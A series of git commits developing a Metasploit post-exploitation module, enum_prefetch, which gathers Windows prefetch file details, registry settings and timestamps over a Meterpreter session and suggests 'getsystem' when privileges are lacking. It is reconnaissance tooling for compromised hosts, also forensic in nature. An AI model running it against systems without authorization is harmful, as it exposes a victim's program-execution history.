client.railgun.kernel32.SetFilePointer(handle, name_offset, 0, nil) + name = client.railgun.kernel32.ReadFile(handle, 60, 60, 4, nil) + x = name['lpBuffer'] + pname = x.slice(0..x.index("\x00\x00")).to_s + + # Finds the run count from the prefetch file + client.railgun.kernel32.SetFilePointer(handle, runcount_offset, 0, nil) + count = client.railgun.kernel32.ReadFile(handle, 4, 4, 4, nil) + prun = count['lpBuffer'].unpack('L*')[0] + + # FIXME: Finds the FILETIME offset and converts it. + #client.railgun.kernel32.SetFilePointer(handle, lastrun_offset, 0, 0) + #tm = client.railgun.kernel32.ReadFile(handle, 8, 8, 4, nil) + #ptime = tm['lpBuffer'].unpack('h*')[0].reverse.to_i(16).to_s + + + # Finds the hash. + client.railgun.kernel32.SetFilePointer(handle, hash_offset, 0, 0) + hh = client.railgun.kernel32.ReadFile(handle, 4, 4, 4, nil) + phash = hh['lpBuffer'].unpack('h*')[0].reverse.to_s + + # Finds the LastModified timestamp (MACE) + lm = client.priv.fs.get_file_mace(filename) + lmod = lm['Modified'].utc.to_s[0..-4] # Not really UTC but localtime + + # Finds the Creation timestamp (MACE) + cr = client.priv.fs.get_file_mace(filename) + creat = cr['Created'].utc.to_s[0..-4] # Not really UTC but localtime + + + print_line("%s\t%s\t%s\t\t%8s\t%-30s" % [creat, lmod, prun, phash, pname]) + client.railgun.kernel32.CloseHandle(handle) + + end + + end + + + def run + + print_status("Prefetch Gathering started.") + + if not is_admin? + + print_error("You don't have enough privileges. Try getsystem.") + + return nil + end + + + begin + + sysnfo = client.sys.config.sysinfo['OS'] + + # Check to see what Windows Version is running. + # Needed for offsets. + # Tested on WinXP and Win7 systems. Should work on WinVista & Win2k3.. + # http://www.forensicswiki.org/wiki/Prefetch + # http://www.forensicswiki.org/wiki/Windows_Prefetch_File_Format + + if sysnfo =~/(Windows XP)/ # Offsets for WinXP + + print_good("Detected Windows XP") + name_offset = 0x10 + hash_offset = 0x4C + lastrun_offset = 0x78 + runcount_offset = 0x90 + + elsif sysnfo =~/(Windows 7)/ # Offsets for Win7 + + print_good("Detected Windows 7") + name_offset = 0x10 + hash_offset = 0x4C + lastrun_offset = 0x80 + runcount_offset = 0x98 + + else + + print_error("No offsets for the target Windows version.") + + return nil + end + + print_status("Searching for Prefetch Registry Value.") + prefetch_key_value + print_status("Searching for TimeZone Registry Value.") + timezone_key_value + sysroot = client.fs.file.expand_path("%SYSTEMROOT%") + full_path = sysroot + "\\Prefetch\\" + file_type = "*.pf" + + print_line("\nCreated (MACE)\t\tModified (MACE)\t\tRun Count\tHash\t\tFilename") + print_line("(localtime)\t\t(localtime)\n") + + getfile_prefetch_filenames = client.fs.file.search(full_path,file_type,recurse=false,timeout=-1) + getfile_prefetch_filenames.each do |file| + if file.empty? or file.nil? + + print_error("No files or not enough privileges.") + + return nil + + else + + filename = File.join(file['path'], file['name']) + + gather_prefetch_info(name_offset, hash_offset, lastrun_offset, runcount_offset, filename) + + end + + end + + end + + + print_good("Finished gathering information from prefetch files.") + + + end +end From 742615f3a18a705f18bbba3c8f3cb660f5475de4 Mon Sep 17 00:00:00 2001 From: jiuweigui Date: Sun, 14 Jul 2013 04:50:13 +0300 Subject: [PATCH 044/454] Working --- modules/post/windows/gather/prefetch_tool.rb | 115 +++++++------------ 1 file changed, 43 insertions(+), 72 deletions(-) diff --git a/modules/post/windows/gather/prefetch_tool.rb b/modules/post/windows/gather/prefetch_tool.rb index 6cf3879d4a4e0..4f78be1c23f59 100644 --- a/modules/post/windows/gather/prefetch_tool.rb +++ b/modules/post/windows/gather/prefetch_tool.rb @@ -31,8 +31,7 @@ def initialize(info={}) def prefetch_key_value() - - reg_key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\Session\ Manager\\Memory\ Management\\PrefetchParameters", KEY_READ) + reg_key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\Session\ Manager\\Memory\ Management\\PrefetchParameters", KEY_READ) key_value = reg_key.query_value("EnablePrefetcher").data if key_value == 0 @@ -64,16 +63,16 @@ def timezone_key_value() print_good("Remote timezone: %s" % key_value) end + reg_key.close end def gather_prefetch_info(name_offset, hash_offset, lastrun_offset, runcount_offset, filename) - # This function seeks and gathers information from specific offsets. + # This function seeks and gathers information from specific offsets. - h = client.railgun.kernel32.CreateFileA(filename, "GENERIC_READ", "FILE_SHARE_DELETE|FILE_SHARE_READ|FILE_SHARE_WRITE", nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_NORMAL", 0) + h = client.railgun.kernel32.CreateFileA(filename, "GENERIC_READ", "FILE_SHARE_DELETE|FILE_SHARE_READ|FILE_SHARE_WRITE", nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_NORMAL", 0) if h['GetLastError'] != 0 - print_error("Error opening a file handle.") return nil else @@ -91,12 +90,6 @@ def gather_prefetch_info(name_offset, hash_offset, lastrun_offset, runcount_offs count = client.railgun.kernel32.ReadFile(handle, 4, 4, 4, nil) prun = count['lpBuffer'].unpack('L*')[0] - # FIXME: Finds the FILETIME offset and converts it. - #client.railgun.kernel32.SetFilePointer(handle, lastrun_offset, 0, 0) - #tm = client.railgun.kernel32.ReadFile(handle, 8, 8, 4, nil) - #ptime = tm['lpBuffer'].unpack('h*')[0].reverse.to_i(16).to_s - - # Finds the hash. client.railgun.kernel32.SetFilePointer(handle, hash_offset, 0, 0) hh = client.railgun.kernel32.ReadFile(handle, 4, 4, 4, nil) @@ -110,28 +103,22 @@ def gather_prefetch_info(name_offset, hash_offset, lastrun_offset, runcount_offs cr = client.priv.fs.get_file_mace(filename) creat = cr['Created'].utc.to_s[0..-4] # Not really UTC but localtime - - print_line("%s\t%s\t%s\t\t%8s\t%-30s" % [creat, lmod, prun, phash, pname]) + print_line("%s\t%s\t%s\t\t%s\t%-30s" % [creat, lmod, prun, phash, pname]) client.railgun.kernel32.CloseHandle(handle) - - end - - end + end + end - def run + def run print_status("Prefetch Gathering started.") if not is_admin? - print_error("You don't have enough privileges. Try getsystem.") - return nil end - - begin + begin sysnfo = client.sys.config.sysinfo['OS'] @@ -140,64 +127,48 @@ def run # Tested on WinXP and Win7 systems. Should work on WinVista & Win2k3.. # http://www.forensicswiki.org/wiki/Prefetch # http://www.forensicswiki.org/wiki/Windows_Prefetch_File_Format - - if sysnfo =~/(Windows XP)/ # Offsets for WinXP - - print_good("Detected Windows XP") - name_offset = 0x10 - hash_offset = 0x4C - lastrun_offset = 0x78 - runcount_offset = 0x90 + if sysnfo =~/(Windows XP)/ # Offsets for WinXP + print_good("Detected Windows XP") + name_offset = 0x10 + hash_offset = 0x4C + lastrun_offset = 0x78 + runcount_offset = 0x90 elsif sysnfo =~/(Windows 7)/ # Offsets for Win7 - - print_good("Detected Windows 7") - name_offset = 0x10 - hash_offset = 0x4C - lastrun_offset = 0x80 - runcount_offset = 0x98 - - else - - print_error("No offsets for the target Windows version.") - - return nil - end + print_good("Detected Windows 7") + name_offset = 0x10 + hash_offset = 0x4C + lastrun_offset = 0x80 + runcount_offset = 0x98 + else + print_error("No offsets for the target Windows version.") + return nil + end print_status("Searching for Prefetch Registry Value.") - prefetch_key_value + prefetch_key_value print_status("Searching for TimeZone Registry Value.") timezone_key_value - sysroot = client.fs.file.expand_path("%SYSTEMROOT%") - full_path = sysroot + "\\Prefetch\\" - file_type = "*.pf" - - print_line("\nCreated (MACE)\t\tModified (MACE)\t\tRun Count\tHash\t\tFilename") - print_line("(localtime)\t\t(localtime)\n") - - getfile_prefetch_filenames = client.fs.file.search(full_path,file_type,recurse=false,timeout=-1) - getfile_prefetch_filenames.each do |file| - if file.empty? or file.nil? - - print_error("No files or not enough privileges.") - return nil + sysroot = client.fs.file.expand_path("%SYSTEMROOT%") + full_path = sysroot + "\\Prefetch\\" + file_type = "*.pf" - else - - filename = File.join(file['path'], file['name']) - - gather_prefetch_info(name_offset, hash_offset, lastrun_offset, runcount_offset, filename) - - end - - end - - end - - - print_good("Finished gathering information from prefetch files.") + print_line("\nCreated (MACE)\t\tModified (MACE)\t\tRun Count\tHash\t\tFilename") + print_line("(localtime)\t\t(localtime)\n") + getfile_prefetch_filenames = client.fs.file.search(full_path,file_type,recurse=false,timeout=-1) + getfile_prefetch_filenames.each do |file| + if file.empty? or file.nil? + print_error("No files or not enough privileges.") + return nil - end + else + filename = File.join(file['path'], file['name']) + gather_prefetch_info(name_offset, hash_offset, lastrun_offset, runcount_offset, filename) + end + end + end + print_good("Finished gathering information from prefetch files.") + end end From 43740d7626078f8f26fbb56b734cce9d13ca2551 Mon Sep 17 00:00:00 2001 From: jiuweigui Date: Sun, 14 Jul 2013 04:55:57 +0300 Subject: [PATCH 045/454] Minor edits --- .../post/windows/gather/prefetch_gather.rb | 186 ------------------ modules/post/windows/gather/prefetch_tool.rb | 14 +- 2 files changed, 5 insertions(+), 195 deletions(-) delete mode 100644 modules/post/windows/gather/prefetch_gather.rb diff --git a/modules/post/windows/gather/prefetch_gather.rb b/modules/post/windows/gather/prefetch_gather.rb deleted file mode 100644 index 2e3b1beb256ca..0000000000000 --- a/modules/post/windows/gather/prefetch_gather.rb +++ /dev/null @@ -1,186 +0,0 @@ -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ -## - -require 'msf/core' -require 'rex' -require 'msf/core/post/windows/registry' -require 'time' - - -class Metasploit3 < Msf::Post - include Msf::Post::Windows::Priv - - def initialize(info={}) - super(update_info(info, - 'Name' => 'Windows Gather Prefetch File Information', - 'Description' => %q{This module gathers prefetch file information from WinXP & Win7 systems.}, - 'License' => MSF_LICENSE, - 'Author' => ['TJ Glad '], - 'Platform' => ['win'], - 'SessionType' => ['meterpreter'] - )) - - end - - - # Checks if Prefetch registry key exists and what value it has. - - - def prefetch_key_value() - - reg_key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\Session\ Manager\\Memory\ Management\\PrefetchParameters", KEY_READ) - key_value = reg_key.query_value("EnablePrefetcher").data - - - if key_value == 0 - print_error("EnablePrefetcher Value: (0) = Disabled (Non-Default).") - elsif key_value == 1 - print_good("EnablePrefetcher Value: (1) = Application launch prefetching enabled (Non-Default).") - elsif key_value == 2 - print_good("EnablePrefetcher Value: (2) = Boot prefetching enabled (Non-Default).") - elsif key_value == 3 - print_good("EnablePrefetcher Value: (3) = Applaunch and boot enabled (Default Value).") - else - print_error("No proper value set so information should be taken with a grain of salt.") - - end - reg_key.close - end - - - def gather_info(name_offset, hash_offset, lastrun_offset, runcount_offset, filename) - - # This function seeks and gathers information from specific offsets. - - h = client.railgun.kernel32.CreateFileA(filename, "GENERIC_READ", "FILE_SHARE_DELETE|FILE_SHARE_READ|FILE_SHARE_WRITE", nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_NORMAL", 0) - - if h['GetLastError'] != 0 - - print_error("Error opening a file handle.") - return nil - else - - handle = h['return'] - - # Finds the filename from the prefetch file - client.railgun.kernel32.SetFilePointer(handle, name_offset, 0, nil) - name = client.railgun.kernel32.ReadFile(handle, 60, 60, 4, nil) - x = name['lpBuffer'] - pname = x.slice(0..x.index("\x00\x00")) - - # Finds the run count from the prefetch file - client.railgun.kernel32.SetFilePointer(handle, runcount_offset, 0, nil) - count = client.railgun.kernel32.ReadFile(handle, 4, 4, 4, nil) - prun = count['lpBuffer'].unpack('L*') - - # FIXME: Finds the FILETIME offset and converts it. - # The time conversion is currently a bit confusing. - # ATM You have to add/substract your timezone from the - # time it prints out. That time is the one from the pf - # file and represents the time on your timezone - # i.e. if timestamp is 2013-07-13 21:00:13 and i'm on +2 - # then the correct time is 2013-07-13 19:00:13 - client.railgun.kernel32.SetFilePointer(handle, lastrun_offset, 0, 0) - tm = client.railgun.kernel32.ReadFile(handle, 8, 8, 4, nil) - filetime = tm['lpBuffer'].unpack('h*')[0].reverse.to_i(16) - xtime = ((filetime.to_i - 116444556000000000) / 10000000) - ptime = Time.at(xtime).utc.to_s - - # Finds the hash. - client.railgun.kernel32.SetFilePointer(handle, hash_offset, 0, 0) - hh = client.railgun.kernel32.ReadFile(handle, 4, 4, 4, nil) - phash = hh['lpBuffer'].unpack('h*')[0].reverse - - - print_line("%s\t\t %s\t\t %08s\t %-29s" % [ptime[0..-4], prun[0], phash, pname]) - client.railgun.kernel32.CloseHandle(handle) - end - - end - - - def run - - print_status("Prefetch Gathering started.") - - if not is_admin? - - print_error("You don't have enough privileges. Try getsystem.") - - return nil - end - - - begin - - sysnfo = client.sys.config.sysinfo['OS'] - - # Check to see what Windows Version is running. - # Needed for offsets. - # Tested on WinXP and Win7 systems. Should work on WinVista & Win2k3.. - # http://www.forensicswiki.org/wiki/Prefetch - # http://www.forensicswiki.org/wiki/Windows_Prefetch_File_Format - - if sysnfo =~/(Windows XP)/ # Offsets for WinXP - - print_good("Detected Windows XP") - name_offset = 0x10 - hash_offset = 0x4C - lastrun_offset = 0x78 - runcount_offset = 0x90 - - elsif sysnfo =~/(Windows 7)/ # Offsets for Win7 - - print_good("Detected Windows 7") - name_offset = 0x10 - hash_offset = 0x4C - lastrun_offset = 0x80 - runcount_offset = 0x98 - - else - - print_error("No offsets for the target Windows version.") - - return nil - end - - print_status("Searching for Prefetch Hive Value.") - prefetch_key_value - - sysroot = client.fs.file.expand_path("%SYSTEMROOT%") - full_path = sysroot + "\\Prefetch\\" - file_type = "*.pf" - - print_line("\nLatest Run Time\t\t\tRun Count\tHash\t\tFilename\n") - - - getfile_prefetch_filenames = client.fs.file.search(full_path,file_type,recurse=false,timeout=-1) - getfile_prefetch_filenames.each do |file| - if file.empty? or file.nil? - - print_error("No files or not enough privileges.") - - return nil - - else - - filename = File.join(file['path'], file['name']) - - gather_info(name_offset, hash_offset, lastrun_offset, runcount_offset, filename) - - end - - end - - end - - - print_good("Finished gathering information from prefetch files.") - - - end -end diff --git a/modules/post/windows/gather/prefetch_tool.rb b/modules/post/windows/gather/prefetch_tool.rb index 4f78be1c23f59..f4a408bacb54b 100644 --- a/modules/post/windows/gather/prefetch_tool.rb +++ b/modules/post/windows/gather/prefetch_tool.rb @@ -27,10 +27,8 @@ def initialize(info={}) end - # Checks if Prefetch registry key exists and what value it has. - - - def prefetch_key_value() + def prefetch_key_value() + # Checks if Prefetch registry key exists and what value it has. reg_key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\Session\ Manager\\Memory\ Management\\PrefetchParameters", KEY_READ) key_value = reg_key.query_value("EnablePrefetcher").data @@ -65,18 +63,16 @@ def timezone_key_value() end reg_key.close end - - def gather_prefetch_info(name_offset, hash_offset, lastrun_offset, runcount_offset, filename) - # This function seeks and gathers information from specific offsets. + def gather_prefetch_info(name_offset, hash_offset, lastrun_offset, runcount_offset, filename) + # This function seeks and gathers information from specific offsets. h = client.railgun.kernel32.CreateFileA(filename, "GENERIC_READ", "FILE_SHARE_DELETE|FILE_SHARE_READ|FILE_SHARE_WRITE", nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_NORMAL", 0) if h['GetLastError'] != 0 print_error("Error opening a file handle.") return nil else - handle = h['return'] # Finds the filename from the prefetch file @@ -120,7 +116,7 @@ def run begin - sysnfo = client.sys.config.sysinfo['OS'] + sysnfo = client.sys.config.sysinfo['OS'] # Check to see what Windows Version is running. # Needed for offsets. From 398d5070b2eaca3a3b2c7f8a2e713eebeb64ac32 Mon Sep 17 00:00:00 2001 From: jiuweigui Date: Sun, 14 Jul 2013 06:18:25 +0300 Subject: [PATCH 046/454] Fixed WinXP registry timezone key --- modules/post/windows/gather/prefetch_tool.rb | 38 +++++++++++++------- 1 file changed, 25 insertions(+), 13 deletions(-) diff --git a/modules/post/windows/gather/prefetch_tool.rb b/modules/post/windows/gather/prefetch_tool.rb index f4a408bacb54b..80aeb00d1b0c7 100644 --- a/modules/post/windows/gather/prefetch_tool.rb +++ b/modules/post/windows/gather/prefetch_tool.rb @@ -10,7 +10,6 @@ require 'msf/core/post/windows/registry' require 'time' - class Metasploit3 < Msf::Post include Msf::Post::Windows::Priv @@ -47,26 +46,35 @@ def prefetch_key_value() end - def timezone_key_value() - - reg_key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\TimeZoneInformation", KEY_READ) - key_value = reg_key.query_value("TimeZoneKeyName").data + def timezone_key_value(sysnfo) + if sysnfo =~/(Windows 7)/ + reg_key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\TimeZoneInformation", KEY_READ) + key_value = reg_key.query_value("TimeZoneKeyName").data if key_value.empty? or key_value.nil? - - print_line("Couldn't find key/value from registry.") - + print_line("Couldn't find key/value for timezone from registry.") else + print_good("Remote timezone: %s" % key_value.to_s) + end - print_good("Remote timezone: %s" % key_value) - + elsif sysnfo =~/(Windows XP)/ + reg_key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\TimeZoneInformation", KEY_READ) + key_value = reg_key.query_value("StandardName").data + if key_value.empty? or key_value.nil? + print_line("Couldn't find key/value for timezone from registry.") + else + print_good("Remote timezone: %s" % key_value.to_s) end - reg_key.close + else + print_error("Unknown system. Can't find timezone value from registry.") + end + reg_key.close end def gather_prefetch_info(name_offset, hash_offset, lastrun_offset, runcount_offset, filename) # This function seeks and gathers information from specific offsets. + # It also updates the last access time of the file. h = client.railgun.kernel32.CreateFileA(filename, "GENERIC_READ", "FILE_SHARE_DELETE|FILE_SHARE_READ|FILE_SHARE_WRITE", nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_NORMAL", 0) if h['GetLastError'] != 0 @@ -144,14 +152,18 @@ def run print_status("Searching for Prefetch Registry Value.") prefetch_key_value print_status("Searching for TimeZone Registry Value.") - timezone_key_value + timezone_key_value(sysnfo) sysroot = client.fs.file.expand_path("%SYSTEMROOT%") full_path = sysroot + "\\Prefetch\\" file_type = "*.pf" print_line("\nCreated (MACE)\t\tModified (MACE)\t\tRun Count\tHash\t\tFilename") - print_line("(localtime)\t\t(localtime)\n") + # Conversion between different timezones is hard because of X amount of factors + # so the representation of time is more relative than absolute. Years and months + # and most of the time days will match but the exact time is more vague. + + print_line("(Because of time conversion issues these times are more relative than absolute.)\n") getfile_prefetch_filenames = client.fs.file.search(full_path,file_type,recurse=false,timeout=-1) getfile_prefetch_filenames.each do |file| From b77ba64e88c058ef0319ae1822dd65a8dd6a8764 Mon Sep 17 00:00:00 2001 From: jiuweigui Date: Sun, 14 Jul 2013 13:53:18 +0300 Subject: [PATCH 047/454] Fixed WinXP registry timezone key --- modules/post/windows/gather/prefetch_tool.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/post/windows/gather/prefetch_tool.rb b/modules/post/windows/gather/prefetch_tool.rb index 80aeb00d1b0c7..7342e63a6d22f 100644 --- a/modules/post/windows/gather/prefetch_tool.rb +++ b/modules/post/windows/gather/prefetch_tool.rb @@ -43,8 +43,7 @@ def prefetch_key_value() print_error("No value or unknown value. Results might vary.") end reg_key.close - - end + end def timezone_key_value(sysnfo) From 6539b4e50755b48ec7445f481e85ebb863eb7f84 Mon Sep 17 00:00:00 2001 From: jiuweigui Date: Sun, 14 Jul 2013 15:30:54 +0300 Subject: [PATCH 048/454] Working --- modules/post/windows/gather/enum_prefetch.rb | 181 +++++++++++++++++++ 1 file changed, 181 insertions(+) create mode 100644 modules/post/windows/gather/enum_prefetch.rb diff --git a/modules/post/windows/gather/enum_prefetch.rb b/modules/post/windows/gather/enum_prefetch.rb new file mode 100644 index 0000000000000..7342e63a6d22f --- /dev/null +++ b/modules/post/windows/gather/enum_prefetch.rb @@ -0,0 +1,181 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex' +require 'msf/core/post/windows/registry' +require 'time' + +class Metasploit3 < Msf::Post + include Msf::Post::Windows::Priv + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Windows Gather Prefetch File Information', + 'Description' => %q{This module gathers prefetch file information from WinXP & Win7 systems.}, + 'License' => MSF_LICENSE, + 'Author' => ['TJ Glad '], + 'Platform' => ['win'], + 'SessionType' => ['meterpreter'] + )) + + end + + + def prefetch_key_value() + # Checks if Prefetch registry key exists and what value it has. + reg_key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\Session\ Manager\\Memory\ Management\\PrefetchParameters", KEY_READ) + key_value = reg_key.query_value("EnablePrefetcher").data + + if key_value == 0 + print_error("EnablePrefetcher Value: (0) = Disabled (Non-Default).") + elsif key_value == 1 + print_good("EnablePrefetcher Value: (1) = Application launch prefetching enabled (Non-Default).") + elsif key_value == 2 + print_good("EnablePrefetcher Value: (2) = Boot prefetching enabled (Non-Default).") + elsif key_value == 3 + print_good("EnablePrefetcher Value: (3) = Applaunch and boot enabled (Default Value).") + else + print_error("No value or unknown value. Results might vary.") + end + reg_key.close + end + + def timezone_key_value(sysnfo) + + if sysnfo =~/(Windows 7)/ + reg_key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\TimeZoneInformation", KEY_READ) + key_value = reg_key.query_value("TimeZoneKeyName").data + if key_value.empty? or key_value.nil? + print_line("Couldn't find key/value for timezone from registry.") + else + print_good("Remote timezone: %s" % key_value.to_s) + end + + elsif sysnfo =~/(Windows XP)/ + reg_key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\TimeZoneInformation", KEY_READ) + key_value = reg_key.query_value("StandardName").data + if key_value.empty? or key_value.nil? + print_line("Couldn't find key/value for timezone from registry.") + else + print_good("Remote timezone: %s" % key_value.to_s) + end + else + print_error("Unknown system. Can't find timezone value from registry.") + end + reg_key.close + end + + + def gather_prefetch_info(name_offset, hash_offset, lastrun_offset, runcount_offset, filename) + # This function seeks and gathers information from specific offsets. + # It also updates the last access time of the file. + h = client.railgun.kernel32.CreateFileA(filename, "GENERIC_READ", "FILE_SHARE_DELETE|FILE_SHARE_READ|FILE_SHARE_WRITE", nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_NORMAL", 0) + + if h['GetLastError'] != 0 + print_error("Error opening a file handle.") + return nil + else + handle = h['return'] + + # Finds the filename from the prefetch file + client.railgun.kernel32.SetFilePointer(handle, name_offset, 0, nil) + name = client.railgun.kernel32.ReadFile(handle, 60, 60, 4, nil) + x = name['lpBuffer'] + pname = x.slice(0..x.index("\x00\x00")).to_s + + # Finds the run count from the prefetch file + client.railgun.kernel32.SetFilePointer(handle, runcount_offset, 0, nil) + count = client.railgun.kernel32.ReadFile(handle, 4, 4, 4, nil) + prun = count['lpBuffer'].unpack('L*')[0] + + # Finds the hash. + client.railgun.kernel32.SetFilePointer(handle, hash_offset, 0, 0) + hh = client.railgun.kernel32.ReadFile(handle, 4, 4, 4, nil) + phash = hh['lpBuffer'].unpack('h*')[0].reverse.to_s + + # Finds the LastModified timestamp (MACE) + lm = client.priv.fs.get_file_mace(filename) + lmod = lm['Modified'].utc.to_s[0..-4] # Not really UTC but localtime + + # Finds the Creation timestamp (MACE) + cr = client.priv.fs.get_file_mace(filename) + creat = cr['Created'].utc.to_s[0..-4] # Not really UTC but localtime + + print_line("%s\t%s\t%s\t\t%s\t%-30s" % [creat, lmod, prun, phash, pname]) + client.railgun.kernel32.CloseHandle(handle) + end + end + + + def run + + print_status("Prefetch Gathering started.") + + if not is_admin? + print_error("You don't have enough privileges. Try getsystem.") + return nil + end + + begin + + sysnfo = client.sys.config.sysinfo['OS'] + + # Check to see what Windows Version is running. + # Needed for offsets. + # Tested on WinXP and Win7 systems. Should work on WinVista & Win2k3.. + # http://www.forensicswiki.org/wiki/Prefetch + # http://www.forensicswiki.org/wiki/Windows_Prefetch_File_Format + if sysnfo =~/(Windows XP)/ # Offsets for WinXP + print_good("Detected Windows XP") + name_offset = 0x10 + hash_offset = 0x4C + lastrun_offset = 0x78 + runcount_offset = 0x90 + + elsif sysnfo =~/(Windows 7)/ # Offsets for Win7 + print_good("Detected Windows 7") + name_offset = 0x10 + hash_offset = 0x4C + lastrun_offset = 0x80 + runcount_offset = 0x98 + else + print_error("No offsets for the target Windows version.") + return nil + end + + print_status("Searching for Prefetch Registry Value.") + prefetch_key_value + print_status("Searching for TimeZone Registry Value.") + timezone_key_value(sysnfo) + + sysroot = client.fs.file.expand_path("%SYSTEMROOT%") + full_path = sysroot + "\\Prefetch\\" + file_type = "*.pf" + + print_line("\nCreated (MACE)\t\tModified (MACE)\t\tRun Count\tHash\t\tFilename") + # Conversion between different timezones is hard because of X amount of factors + # so the representation of time is more relative than absolute. Years and months + # and most of the time days will match but the exact time is more vague. + + print_line("(Because of time conversion issues these times are more relative than absolute.)\n") + + getfile_prefetch_filenames = client.fs.file.search(full_path,file_type,recurse=false,timeout=-1) + getfile_prefetch_filenames.each do |file| + if file.empty? or file.nil? + print_error("No files or not enough privileges.") + return nil + + else + filename = File.join(file['path'], file['name']) + gather_prefetch_info(name_offset, hash_offset, lastrun_offset, runcount_offset, filename) + end + end + end + print_good("Finished gathering information from prefetch files.") + end +end From 52f9daf8c5c4e93cd8998681b5091d6708da4d38 Mon Sep 17 00:00:00 2001 From: jiuweigui Date: Sun, 14 Jul 2013 15:33:54 +0300 Subject: [PATCH 049/454] Renamed prefetch_tool to enum_prefetch --- modules/post/windows/gather/prefetch_tool.rb | 181 ------------------- 1 file changed, 181 deletions(-) delete mode 100644 modules/post/windows/gather/prefetch_tool.rb diff --git a/modules/post/windows/gather/prefetch_tool.rb b/modules/post/windows/gather/prefetch_tool.rb deleted file mode 100644 index 7342e63a6d22f..0000000000000 --- a/modules/post/windows/gather/prefetch_tool.rb +++ /dev/null @@ -1,181 +0,0 @@ -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ -## - -require 'msf/core' -require 'rex' -require 'msf/core/post/windows/registry' -require 'time' - -class Metasploit3 < Msf::Post - include Msf::Post::Windows::Priv - - def initialize(info={}) - super(update_info(info, - 'Name' => 'Windows Gather Prefetch File Information', - 'Description' => %q{This module gathers prefetch file information from WinXP & Win7 systems.}, - 'License' => MSF_LICENSE, - 'Author' => ['TJ Glad '], - 'Platform' => ['win'], - 'SessionType' => ['meterpreter'] - )) - - end - - - def prefetch_key_value() - # Checks if Prefetch registry key exists and what value it has. - reg_key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\Session\ Manager\\Memory\ Management\\PrefetchParameters", KEY_READ) - key_value = reg_key.query_value("EnablePrefetcher").data - - if key_value == 0 - print_error("EnablePrefetcher Value: (0) = Disabled (Non-Default).") - elsif key_value == 1 - print_good("EnablePrefetcher Value: (1) = Application launch prefetching enabled (Non-Default).") - elsif key_value == 2 - print_good("EnablePrefetcher Value: (2) = Boot prefetching enabled (Non-Default).") - elsif key_value == 3 - print_good("EnablePrefetcher Value: (3) = Applaunch and boot enabled (Default Value).") - else - print_error("No value or unknown value. Results might vary.") - end - reg_key.close - end - - def timezone_key_value(sysnfo) - - if sysnfo =~/(Windows 7)/ - reg_key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\TimeZoneInformation", KEY_READ) - key_value = reg_key.query_value("TimeZoneKeyName").data - if key_value.empty? or key_value.nil? - print_line("Couldn't find key/value for timezone from registry.") - else - print_good("Remote timezone: %s" % key_value.to_s) - end - - elsif sysnfo =~/(Windows XP)/ - reg_key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\TimeZoneInformation", KEY_READ) - key_value = reg_key.query_value("StandardName").data - if key_value.empty? or key_value.nil? - print_line("Couldn't find key/value for timezone from registry.") - else - print_good("Remote timezone: %s" % key_value.to_s) - end - else - print_error("Unknown system. Can't find timezone value from registry.") - end - reg_key.close - end - - - def gather_prefetch_info(name_offset, hash_offset, lastrun_offset, runcount_offset, filename) - # This function seeks and gathers information from specific offsets. - # It also updates the last access time of the file. - h = client.railgun.kernel32.CreateFileA(filename, "GENERIC_READ", "FILE_SHARE_DELETE|FILE_SHARE_READ|FILE_SHARE_WRITE", nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_NORMAL", 0) - - if h['GetLastError'] != 0 - print_error("Error opening a file handle.") - return nil - else - handle = h['return'] - - # Finds the filename from the prefetch file - client.railgun.kernel32.SetFilePointer(handle, name_offset, 0, nil) - name = client.railgun.kernel32.ReadFile(handle, 60, 60, 4, nil) - x = name['lpBuffer'] - pname = x.slice(0..x.index("\x00\x00")).to_s - - # Finds the run count from the prefetch file - client.railgun.kernel32.SetFilePointer(handle, runcount_offset, 0, nil) - count = client.railgun.kernel32.ReadFile(handle, 4, 4, 4, nil) - prun = count['lpBuffer'].unpack('L*')[0] - - # Finds the hash. - client.railgun.kernel32.SetFilePointer(handle, hash_offset, 0, 0) - hh = client.railgun.kernel32.ReadFile(handle, 4, 4, 4, nil) - phash = hh['lpBuffer'].unpack('h*')[0].reverse.to_s - - # Finds the LastModified timestamp (MACE) - lm = client.priv.fs.get_file_mace(filename) - lmod = lm['Modified'].utc.to_s[0..-4] # Not really UTC but localtime - - # Finds the Creation timestamp (MACE) - cr = client.priv.fs.get_file_mace(filename) - creat = cr['Created'].utc.to_s[0..-4] # Not really UTC but localtime - - 